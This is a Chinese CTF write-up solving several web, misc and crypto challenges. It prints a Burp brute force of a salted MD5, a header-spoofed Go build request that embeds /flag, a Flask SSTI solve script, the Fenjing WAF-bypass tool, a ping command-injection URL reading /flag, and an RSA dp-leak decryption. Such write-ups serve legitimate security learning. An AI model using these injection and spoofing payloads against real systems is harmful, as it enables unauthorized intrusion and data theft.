banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

某ctf比赛题解

Web1#

http://111.74.9.131:10111/

1f9895497b4b91c06c801e1e86d8722b_MD5

查看源码,有个 js 文件

82a88597c38882dffe0b80f6251961f8_MD5

内容如下:

eval(atob("ZnVuY3Rpb24gZW5jcnlwdEFuZFN1Ym1pdCgpIHsKICAgIHZhciBfMHgxYTJiID0gZG9jdW1lbnRbJ2dldEVsZW1lbnRCeUlkJ10oJ3Bhc3N3b3JkJylbJ3ZhbHVlJ107CiAgICB2YXIgXzB4MmIzYyA9ICdDVEYyMDI1JzsKICAgIHZhciBfMHgzYzRkID0gbWQ1KF8weDFhMmIgKyBfMHgyYjNjKTsKICAgIGRvY3VtZW50WydnZXRFbGVtZW50QnlJZCddKCdlbmNyeXB0ZWQnKVsndmFsdWUnXSA9IF8weDNjNGQ7CiAgICBkb2N1bWVudFsnZ2V0RWxlbWVudEJ5SWQnXSgncGFzc3dvcmQnKVsndmFsdWUnXSA9ICcnOwogICAgcmV0dXJuIHRydWU7Cn0="))

base64 解码

function encryptAndSubmit() {
    var _0x1a2b = document['getElementById']('password')['value'];
    var _0x2b3c = 'CTF2025';
    var _0x3c4d = md5(_0x1a2b + _0x2b3c);
    document['getElementById']('encrypted')['value'] = _0x3c4d;
    document['getElementById']('password')['value'] = '';
    return true;
}

上述代码的作用是对输入的密码进行 md5 加密,md5 加了盐,如 md5 (password,CTF2025),那么就可以爆破

burp 设置如下

d64e7455cc0a564131626aeff1dcbdac_MD5

爆破得到 flag

e6f4f2600171f240f47a15bd3a8581ca_MD5

Web4#

给了附件,main.go 内容为

package main

import (
	"context"
	"fmt"
	"net"
	"net/http"
	"os"
	"os/exec"
	"time"

	"github.com/gin-gonic/gin"
)

func executeCommandWithTimeout(name string, args ...string) error {
	ctx, cancel := context.WithTimeout(context.Background(), time.Second*10)
	defer cancel()

	cmd := exec.CommandContext(ctx, name, args...)
	cmd.Dir = os.TempDir()
	return cmd.Run()
}

func localhostOnly() gin.HandlerFunc {
	return func(c *gin.Context) {
		clientIPString := c.ClientIP()
		ip := net.ParseIP(clientIPString)

		if ip == nil {
			c.String(http.StatusBadRequest, "无效的 IP 地址")
			c.Abort()
			return
		}

		if !ip.IsLoopback() {
			c.String(http.StatusForbidden, "访问被拒绝。此端点仅允许从本地访问")
			c.Abort()
			return
		}

		c.Next()
	}
}

func handleBuild(c *gin.Context) {
	body := http.MaxBytesReader(c.Writer, c.Request.Body, 0x1000)
	defer body.Close()

	dir, err := os.MkdirTemp("", "c2_")
	if err != nil {
		c.String(http.StatusInternalServerError, "创建临时目录失败: %v", err)
		return
	}
	defer os.RemoveAll(dir)

	fname := fmt.Sprintf("%s/main.go", dir)
	binName := fmt.Sprintf("%s/main", dir)

	f, err := os.Create(fname)
	if err != nil {
		c.String(http.StatusInternalServerError, "创建临时文件失败: %v", err)
		return
	}
	defer f.Close()

	_, err = f.ReadFrom(body)
	if err != nil {
		c.String(http.StatusInternalServerError, "读取请求体失败: %v", err)
		return
	}
	f.Close()

	err = executeCommandWithTimeout("go", "build", "-ldflags", "-s -w", "-o", binName, fname)
	if err != nil {
		c.String(http.StatusInternalServerError, "编译失败: %v", err)
		return
	}

	c.File(binName)
}

func main() {
	gin.SetMode(gin.ReleaseMode)

	router := gin.Default()
	router.Use(localhostOnly())
	router.POST("/api/build", handleBuild)

	fmt.Println("服务器正在 http://localhost:8989 启动")
	if err := router.Run(":8989"); err != nil {
		fmt.Fprintf(os.Stderr, "服务器启动失败: %v\n", err)
		os.Exit(1)
	}
}

通过 http 的 post 请求,提交 go 代码给上述代码,上述代码对提交的代码进行编译,再输出编译后的 go 文件

参考:

https://jro.sg/CTFs/GreyCTF%20Quals%202025/C2.html

准备的 go 文件内容

package main

/*
__asm__ (
    ".incbin \"/flag\"\n"
);
*/
import "C"

func main() {

}

然后 curl 请求

curl -X POST -H "X-Forwarded-For: 127.0.0.1"  --data-binary @m6.go http://111.74.9.131:18053/api/build --output m6

输出 m6 程序,然后 strings 查找 flag

ef41c58d9f9045e8f05bdd1971d713b1_MD5

Web5#

题目:公司最近要参加护网行动,领导决定安排一次邮箱钓鱼来提高公司员工对钓鱼邮件的警惕性,你的同事小明做了一个简单的钓鱼系统,但是没过两天这个网站就被人拿下了,小明说过他用了很多安全的函数来进行渲染这个网站,按理来说不应该被攻破的...

访问链接

9e10b88ececc3c10d01beb8bcfb6d424_MD5

填入内容,提交

e21402e6621a460f94b77a05df905074_MD5

from flask import Flask, request, render_template, redirect, url_for, jsonify, render_template_string, session
import json
import os
import secrets
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64
from ipaddress import ip_address

app = Flask(__name__, static_url_path='/static', static_folder='static')
app.secret_key = secrets.token_hex(16)

ENCRYPTION_KEY = os.urandom(16)
print(f"ENCRYPTION_KEY: {ENCRYPTION_KEY.hex()}")
FLAG = None
# 尝试从根目录/flag.txt读取flag
try:
    with open('/flag.txt', 'r') as f:
        FLAG = f.read().strip()
except:
    FLAG = "flag{this_is_a_fake_flag_for_demo_purposes}"
app.config['FLAG'] = FLAG
USERS_FILE = "users.json"

ADMIN_SECRET = "sup3r_s3cr3t_4dm1n_k3y"

if not os.path.exists(USERS_FILE):
    with open(USERS_FILE, 'w') as f:
        json.dump([], f)

def load_users():
    try:
        with open(USERS_FILE, 'r') as f:
            return json.load(f)
    except:
        return []

def save_users(users):
    with open(USERS_FILE, 'w') as f:
        json.dump(users, f, indent=4)


def encrypt_data(data):
    data = (data + " " * (-len(data) % AES.block_size)).encode() 
    cipher = AES.new(ENCRYPTION_KEY, AES.MODE_CBC)
    ct_bytes = cipher.iv + cipher.encrypt(data)
    return ct_bytes.hex()

def decrypt_data(encrypted_data):
    try:
        encrypted_data = bytes.fromhex(encrypted_data)
        cipher = AES.new(ENCRYPTION_KEY, AES.MODE_CBC, encrypted_data[:16])
        padded1 = cipher.decrypt(encrypted_data[16:])
        return padded1.decode("ascii", errors="replace").rstrip(" ")
    except Exception as e:
        print(f"Decryption error: {e}")
        return None

@app.route('/')
def index():
    return render_template('login.html')

@app.route('/login', methods=['POST'])
def login():
    username = request.form.get('username', '')
    password = request.form.get('newPwd1', '')
    oldPwd = request.form.get('oldPwd', '')
    
    # Get IP address
    real_ip = request.headers.get('X-Real-Ip', request.remote_addr)
    
    # Create JSON data
    # user_data = json.dumps({
    #     'user': username,
    #     'pd1': password,
    #     'pd2': oldPwd,
    #     'ip': real_ip
    # })
    # print(f"User data: {user_data}")
    # Encrypt the data to create a token
    # user = encrypt_data(user_data)
    user = encrypt_data(username)
    pd1 = encrypt_data(password)
    pd2 = encrypt_data(oldPwd)
    ip = encrypt_data(real_ip)
    
    return redirect(url_for('error',user=user, pd1=pd1, pd2=pd2, ip=ip))

@app.route('/error')
def error():
    username = request.args.get('user', '')
    password = request.args.get('pd1', '')
    oldPwd = request.args.get('pd2', '')
    ip = request.args.get('ip', '')
    if username and password and oldPwd and ip:

        user_data_str = decrypt_data(username)
        password_str = decrypt_data(password)
        oldPwd_str = decrypt_data(oldPwd)
        ip_str = decrypt_data(ip)
        user_data = json.dumps({
        'username': user_data_str,
        'password': password_str,
        'oldPwd': oldPwd_str,
        'ip': ip_str
        })
        if user_data_str:
            try:
                #  load json userdata
                user_data = json.loads(user_data)
                users = load_users()
                users.append(user_data)
                save_users(users)
            except json.JSONDecodeError:
                pass
    
    # Display error page
    return render_template('error.html', cred=user_data)

@app.route('/admin')
def admin():
    secret = request.args.get('secret', '')
    
    if secret != ADMIN_SECRET:
        return render_template('admin_login.html')
    
    users = load_users()
    for user in users:
        try:
            # 弄个验证ip的 防止xss攻击
            ip_address(user['ip'])
            user['ip'] = render_template_string(user['ip'])
        except ValueError:
            user['ip'] = render_template_string("Invalid IP address")
        except Exception as e:
            user['ip'] = render_template_string("Invalid IP address")

    return render_template('admin_panel.html', users=users)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=False)
    

解题脚本:

#!/usr/bin/env python3

import requests

# 目标服务器地址
target_url = 'http://111.74.9.131:18054'

# 设置X-Forwarded-For头为包含恶意模板的字符串
headers = {
	'X-Real-IP': '{{ config.get("FLAG", "") }}'
}

# 发送POST请求,注册恶意用户
login_data = {
	'username': 'attacker',
	'newPwd1': 'password',
	'oldPwd': 'oldpassword'
}

response = requests.post(
	f'{target_url}/login',
	headers=headers,
	data=login_data
)

# 跳转到error页面,数据已存储到users.json
# 接下来访问admin面板,从而触发模板注入
admin_secret = 'sup3r_s3cr3t_4dm1n_k3y'

admin_response = requests.get(
	f'{target_url}/admin',
	params={'secret': admin_secret}
)

# 检查响应内容,应该包含FLAG的值
print(admin_response.text)

4b6e29a22f39045e389482f78c039e7f_MD5

Web3#

ssti 自动化绕过工具

项目地址:https://github.com/Marven11/Fenjing

介绍:焚靖是一个针对 CTF 比赛中 Jinja SSTI 绕过 WAF 的全自动脚本,可以自动攻击给定的网站或接口,省去手动测试接口,fuzz 题目 WAF 的时间。

安装及使用

pipx install fenjing
fenjing webui

3d98a2c2265de66761bfef7f8ac7e494_MD5

打开链接,界面如下:

a7feee11108bb56bdc1b8cb857aed3a6_MD5

填入参数

目标链接:http://xx.xx.xx.xx:18055/login
请求方式:POST
表单输入:需要填写表单字段,username,password

开始分析,即可自动化遍历 payload,成功后会有提示,然后在输出 cat /flag 命令查看 flag

Web2#

http://x.x.x.x/?ip=127.0.0.254';echo+`cat+/flag`//'&action=ping

扫描源码:

8197491922c061133d1517c798a81725_MD5

Misc2#

一个乱涂乱画的二维码,使用支付宝的扫描功能进行扫描

Misc2#

import time
import random

print("(notice:Please use nc to connect to the port specified in the URL address bar.)")
nums = int(input("Please enter the number of questions you want to answer: "))

for i in range(nums):
    one = random.randint(0, 10)
    two = random.randint(0, 10)

    ans = int(input("what is " + str(one) + ' + ' + str(two) + ' = '))

    print("calculating")

    timeTotals = pow(2, i)

    print('.')
    time.sleep(timeTotals / 3)
    print('.')
    time.sleep(timeTotals / 3)
    print('.')
    time.sleep(timeTotals / 3)

    if ans != one + two:
        print("u are not a good hack")
        exit(69)

f = open('/flag.txt', 'r')
flag = f.read()
print(flag[:nums])

nc 运行,输入 -1 即可绕过

Crypto1#

from Crypto.Util.number import *
flag=b'flag{*****************************}'
m=bytes_to_long(flag)
p,q=getPrime(1024),getPrime(1024)
e=65537
n=p*q
d=inverse(e,(p-1)*(q-1))
dp=d%(p-1)
c=pow(m,e,n)
print(c)
print(dp)
print(p)


# 3621646937727889548909558326205957675311366927576094466065866561511845376142285021544807016635554075057978371089883882652884562341795350432855760226766650332740837747273153899945086509849525036285162342557912583263135919615912608363980033600575652070000659719338358811159071614432213157575024167926029730838051313515652724868156976695882304807110602021759016490555848194614890088553661010861187856453923439942656494718196446285284609493675077522733982142357729873638561047598174390550177679192353597625156686538516931457914528057005823186301975313700451291625119960466820206228024950396178301729951976900059892626273
# 76955759572673512544923648411395866333796261604407185658210567292964392047158269426138037422338079272908437870659860545830872197317007043911468404422185245392020868658456715252474214901150640745568784350641572377607364100066483415131573253954308640192519276898376785024916439509007607074377065893470947020289
# 102776524598840560638585367336518806894318666383437270265775716267505040788934861089436105285045865285877899672510500501143582311614865720509168259305036567232981571349634776400012280363072822435244975138327289063238788331962363946394642899095278883116586563622614104992214474570056886714082364025521793586337

解密脚本

#!/usr/bin/env python3

from Crypto.Util.number import long_to_bytes

c = 3621646937727889548909558326205957675311366927576094466065866561511845376142285021544807016635554075057978371089883882652884562341795350432855760226766650332740837747273153899945086509849525036285162342557912583263135919615912608363980033600575652070000659719338358811159071614432213157575024167926029730838051313515652724868156976695882304807110602021759016490555848194614890088553661010861187856453923439942656494718196446285284609493675077522733982142357729873638561047598174390550177679192353597625156686538516931457914528057005823186301975313700451291625119960466820206228024950396178301729951976900059892626273
dp = 76955759572673512544923648411395866333796261604407185658210567292964392047158269426138037422338079272908437870659860545830872197317007043911468404422185245392020868658456715252474214901150640745568784350641572377607364100066483415131573253954308640192519276898376785024916439509007607074377065893470947020289
p = 102776524598840560638585367336518806894318666383437270265775716267505040788934861089436105285045865285877899672510500501143582311614865720509168259305036567232981571349634776400012280363072822435244975138327289063238788331962363946394642899095278883116586563622614104992214474570056886714082364025521793586337
e = 65537

m = pow(c, dp ,p)
print(long_to_bytes(m))

flag{dp_is_very_easy}

Re1#

ef5d3ba62386707d4dc7fdab86d9dff1_MD5

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。